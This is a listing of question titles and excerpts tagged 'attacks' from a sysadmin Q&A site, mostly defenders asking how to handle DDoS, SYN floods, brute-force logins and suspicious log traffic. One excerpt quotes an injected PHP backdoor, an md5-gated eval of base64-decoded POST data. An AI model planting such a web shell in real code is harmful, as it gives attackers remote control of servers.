Episode #125 of the Stack Overflow podcast is here. We talk Tilde Club and mechanical keyboards. Listen now

Questions tagged [attacks]

The tag has no usage guidance.

Filter by
Sorted by
Tagged with
3
votes
0answers
21 views

Windows RDP: Attack targeting real account names

We have a Windows 2012 R2 server hosted in a datacenter, and we are using RDP for its administration. Automatic updates are enabled. RDP login is not allowed for the Administrator account, and there ...
0
votes
1answer
96 views

Lots of connections in SYN_RECV, not a SYN flood, is it some reflection attack?

Since at least a few months, issuing a netstat -t command on our web server, which has TCP ports 22, 80 and 443 exposed to the Internet, often reveals dozens of connections in SYN_RECV status: $ ...
0
votes
1answer
158 views

Unusual hits in Apache log for localhost site

I have an Apache 2.2 webserver running on Windows 7 with six virtual hosts set up. Domain name A points to ?:/.../urls/1/ Domain name B points to ?:/.../urls/2/ Domain name C+D point to ?:/.../urls/3/...
1
vote
2answers
46 views

AWS EC2 instance crashes when scanned by bots

I've created a simple micro EC2 instance based on Amazon Linux AMI for testing an app while I develop it, but it happens that every day it stops answering giving me error 503. It have it's own domain ...
0
votes
0answers
48 views

syn flooding attack on a telnet server that listens on multiple ports

I want to implement a telnet server which listens on different ports for different applications. How to do it in a clean and efficient way? Suppose I am able to do it, i.e my telnet server listens on ...
-1
votes
1answer
57 views

Am I under ddos attack ? Many random requests (usually to images)

Do requests like these look like a DDOS attack ? 180.157.250.126 /9301451791bb460e8a5aec3e123884ba.jpg <<< match 180.157.250.126 /b29a2302afd6dfd918a2b7c3b6a05e31.jpg <<< match 183....
0
votes
0answers
19 views

Cloud server vulnerability analysis [duplicate]

I have multiple Hetzner cloud servers (Ubuntu 18.04) and I have encrypted the home directory with a +128-bit encryption using cryptsetup/LUKS. The server may only be accessed with SSH or Wireguard. ...
2
votes
1answer
360 views

Suspicious ssh log entries (“Accepted none for anonymous”)

I got this log entry chain (and similar repeatedly) on my server: Nov 24 07:38:59 server sshd[28676]: SSH: Server;Ltype: Version;Remote: 54.38.81.12-40482;Protocol: 2.0;Client: OpenSSH_7.2p2 Ubuntu-...
0
votes
1answer
901 views

Block injection hacker

I have someone injecting my php files with the following code: if(md5($_POST["pf"]) === "93ad003d7fc57aae938ba483a65ddf6d") { eval(base64_decode($_POST["cookies_p"])); } if (strpos($_SERVER['...
0
votes
2answers
101 views

Concrete difference between faults and attacks [closed]

I don't know if it is the good place to ask this question but I believe it is OK. My question is simple: how can one make a difference between a fault and between an attack? A denial of service could ...
1
vote
1answer
416 views

Mitigating 404 bomb with Nginx

I am hit with 404 queries and this is bringing down my machine. Close to all of my pages are http cached and I have some basic Dos protection with limit_conn_zone $http_x_forwarded_for zone=addr:10m;...
0
votes
0answers
405 views

apache2 proxy error - are we beeing attacked / hijacked?

We are getting a lot of load since 2 days on our webserver (apache2.4, wordpress + woocommerce, nodeJS server) Now I saw a lot of URLs in the error logs which I dont know. Most of them from china. It ...
0
votes
0answers
31 views

Safety issue of running exe on a server

I'm pretty new to server-side stuff. The difficult situation is that we want to allow an application installed on the server to run python on the server, but the application server installation guide ...
0
votes
4answers
208 views

Any reasons to not IP ban those that get a HTTP 404? Is it possible and easy?

So I have a WordPress site and we all know how vulnerable WordPress plugins can be and get over time. I'm curious to know what you guys think about possibly just IP banning anyone that get an HTTP 404....
0
votes
0answers
91 views

Nginx rate limiting at server level excluding a particular IP [duplicate]

My server is constantly being flooded and I am looking to limit the connections. I want to do this at the server level (because I have multiple websites) but every now and then I run a cache warm ...
0
votes
1answer
62 views

Suspicious logs on ebs, is it some kind of trojan attack?

I found lots of similar logs in cloud watch logs where logs from my ebs application are streaming. I am using Platform: 64bit Amazon Linux 2017.03 v2.5.0 running Java 8 Here are the logs which are ...
0
votes
2answers
702 views

Possible attack on my website; excessive traffic to nonexistent page

One of the websites I manage had unusual traffic last month. There was ~6,500 hits on a URL within the site that doesn't exist (the server sent a correct 404 response according to the logs). The URL ...
-1
votes
1answer
60 views

How to deal with these indirect attacks from Facebook and Google bot?

Our site is smashed by Google bot and Facebook: 66.249.90.50 - - [03/Apr/2017:09:26:41 +1000] "GET /news/?vmowv= HTTP/1.1" 200 48925 "-" "Mediapartners-Google" 66.249.90.49 - - [03/Apr/2017:09:26:42 +...
2
votes
1answer
321 views

TMG only windows 2008 r2 installing. NOT WORKING windows server 2012 r2

TMG Forefront only working windows server 2008 or 2008R2 - Not working windows server 2012. How to mitigation windows server 2012R2 - Flood attacks,http attacks ? Please help how to build windows ...
0
votes
2answers
361 views

Possible SQL Injection and malformed URLs on Drupal Server

We have a Production Drupal server serving content but some pages are broken when a pager link is clicked upon. It was found that the URL's are being changed with unrecognizable keywords. For example, ...
0
votes
1answer
658 views

Drop first packet with iptables

Our servers are getting UDP-flood spoofed ip attacks. I think, we can solve this problem with iptables and i want to make a rule with iptables. When a ip tried to send a udp packet, iptables will ...
1
vote
2answers
400 views

Typo3 - server attack, too many php requests ends in error 500 and 503

I have an older Typo3 (v4.5.x) site and since a while my server is under attack by a script kiddie. He sends quite some PHP requests of URLs which do not exists on my server. I got so many PHP 500 ...
0
votes
1answer
79 views

Strange connection on ssh serer

So, one day, I decide to check the ssh server logs. Did so, and found something odd. There were about 3 different ips trying to brute-force guess the root password? What should i do, if anything? PS: ...
0
votes
2answers
131 views

Server is currently under massive DDoS

Over the past few days, been having a number of problems that I can only describe as a massive DDoS attack one a CENTOS VPS server that is only hosting one website. The website is really slow but not ...
1
vote
1answer
1k views

What's the legit use of a deauthentication packet?

Most people that have tampered with external wireless networks in a malicious fashion for the sake of education (hopefully your own personal testing network) have probably heard of a deauthentication ...
0
votes
0answers
85 views

MYSQL error: IP address could not be resolved [duplicate]

My website is hosted with Linode, I installed webmin on Ubuntu 14.04 to manage it. Recently my database server keeps shutting down, when I look at /var/log/mysql, there are several log files in there ...
-6
votes
1answer
127 views

Someone else domain is pointed to my IP [closed]

I've just done a routine reverse IP check. And saw that 2 domains are pointing to my IP. This is getting me really worried, as I was told they could be preparing to attack my server. What exactly ...
-3
votes
1answer
361 views

Port scan attacks detected from my server [duplicate]

I have dedicated server for my personal projects on Hetzner and today was the second time I got email from them informing that they detected portscan coming from server (first time was in January). At ...
1
vote
1answer
104 views

Apache 404 errors with “hello” as URL

My web server emails me if a 404 error occurs (to help me with missing links). I only had the usual 404's like http://www.example.com/administrator and so on. But lately I keep getting a request for ...
2
votes
0answers
284 views

What would cause named to send out hundreds of bogus responses?

My DNS server running RHEL 6.6 is actively sending unsolicited DNS responses to a couple of IP's. By unsolicited I mean that there is no incoming request from the external IP, the DNS server seems to ...
-4
votes
2answers
313 views

Where do the Chinese, Russian and etc. random attackers find their targets?

I recently started running a personal site on a dedicated server that i've had for some time, but have never actually used. I have never checked it's logs, but now when i do, auth.log is full with ...
2
votes
2answers
147 views

500,000 GET requests to a random jpeg per day (Apache)

So I'm getting this on my Apache log on a small server for a local company: 1.2.3.4 - - [09/Nov/2015:17:00:16 +0000] "GET /wp-content/uploads/2012/08/gold-coins.jpeg HTTP/1.1" 301 342 about 500,000 ...
-1
votes
1answer
66 views

Server Blocked by Provider Sending UDP Packages to certain IP - what does that mean?

My webserver got blocked by my provider recently for the reason that it was performing an attack to another server. The email contained the following log: 08:26:39.219940 68:05:ca:07:02:01 > 78:fe:...
1
vote
1answer
134 views

Server attack but on Upload not Download

I am currently being attacked on one of my servers, but I am struggling to find out what could be causing it. I have had a few DDoS attacks before but this particular attack, which I'm not sure what ...
1
vote
0answers
743 views

How to block hping3 SYN ACK efficiently with iptables?

I'm trying to execute a TCP SYN flood on my Debian web server with nginx. Executing tcpdump "tcp[tcpflags] & (tcp-syn) != 0" while flooding, I see all packets coming. iptables seem to work well ...
-1
votes
1answer
48 views

web application audit task require my remote IP to be allowed on application network firewall [closed]

I want to audit a web application which is hosted on a web server sitting behind a cyberoam firewall. My task is to run a scan from my remote machine which has ISP MTNL broadband. My machine gets a ...
0
votes
1answer
172 views

Any way to block DNS response using BIND?

I am using BIND as my DNS-server. I have disabled recursive DNS-request. Now I am under some kind of attack. Is there any was to block this or do I have to let it go? My query log: client 75.214.6....
0
votes
1answer
555 views

What is a typical request rate per hour in a distributed attack?

I am concerned that some static files hosted publicly in S3 can be the target of an attack that aims to hurt me financially (ramping up my AWS bills). I have set up a logging system, that runs every ...
1
vote
3answers
8k views

Email server attack from telnet

My mail server having a problem on blocking some attacker that trying to telnet to our mailserver. but i'm not able to block it, ip will keep changing even we block by ip. seems like he is trying to ...
-1
votes
2answers
2k views

How to null route a dns zone [closed]

I have a domain that was attacked and flooding the server apache system. The only way to detour the attack is to reroute the dns off the server. Is there a generic IP like "127.0.0.1" that I can use ...
1
vote
2answers
112 views

Can't block spammy IP

I'm being attacked by 37.59.4.76. It's sending me a great amount of data, which is destroying my dataplan. I've added the iptables Chain num pkts bytes target prot opt in out ...
0
votes
0answers
70 views

Server usage topped 100% and crashed - how to diagnose and prevent

I'm running a small webserver on Ubuntu 12.04. Last night, the server topped off at 100% cpu usage and crashed. This is unusual as I'm normally around 1-5%. I suspect a DDoS attack from someone ...
2
votes
1answer
163 views

Another domain points to my webserver

Somebody else has registered a name pointing to my webserver's IP address in .ma TLD. My domain foo.bar -> my ip address 1.2.3.4 Somebody defined: suspiciousdomain.ma -> my ip address 1.2.3.4 So ...
0
votes
2answers
634 views

How to block requests for virtual hosts that dont exist in apache [duplicate]

First up, check out this question: Why are external domains appearing in my apache logs? We're seeing the exact same thing on one of our Debian VPS servers - with one big difference, the regularity ...
0
votes
1answer
82 views

Network attack on dedicated server [duplicate]

I am using a dedicated server hosting for one of my project. I got a mail from my server provider that their monitoring system noticed a network scan (or network attack) from an IP address. The ...
0
votes
1answer
165 views

What is maximum legitimate SYN traffic rate

Recently my server gets syn flood attack. I use hitcount limitation, but I wonder what is the maximum rate of legitimate syn traffic for a single user IP. The source-IP based rule I use is blow; ...
1
vote
1answer
48 views

How to set permissions for www/dir and make sure no security threats arise

I've a peculiar situation. I've VPS that I use for my own projects. A friend of mine asked me to host his wordpress blog. Now I've setup my VPS very straightforward, all projects are under /www and ...
1
vote
1answer
423 views

How to read sFlow?

We currently have a very large outbound DDOS Attack coming from one of our machines which is on a Brocade switch and monitored by PRTG. I am looking at the sFlow v5 8 sensor and see Top Talkers and ...
0
votes
2answers
443 views

How can I decipher this HTTP PHP-request?

On my server I have serious HTTP an SSH attacks running. Most of them are brute force password checks or attemps of /etc/passwd retrievals. But some of them are trying to start the bash via plugin ...
-1
votes
2answers
2k views

Should I suspicious of this behaviour? [closed]

My website users have perceived that sometimes the server performance is not as it used to be (basically they say that a page that normally loads immediately, could take more than 3 seconds now). This ...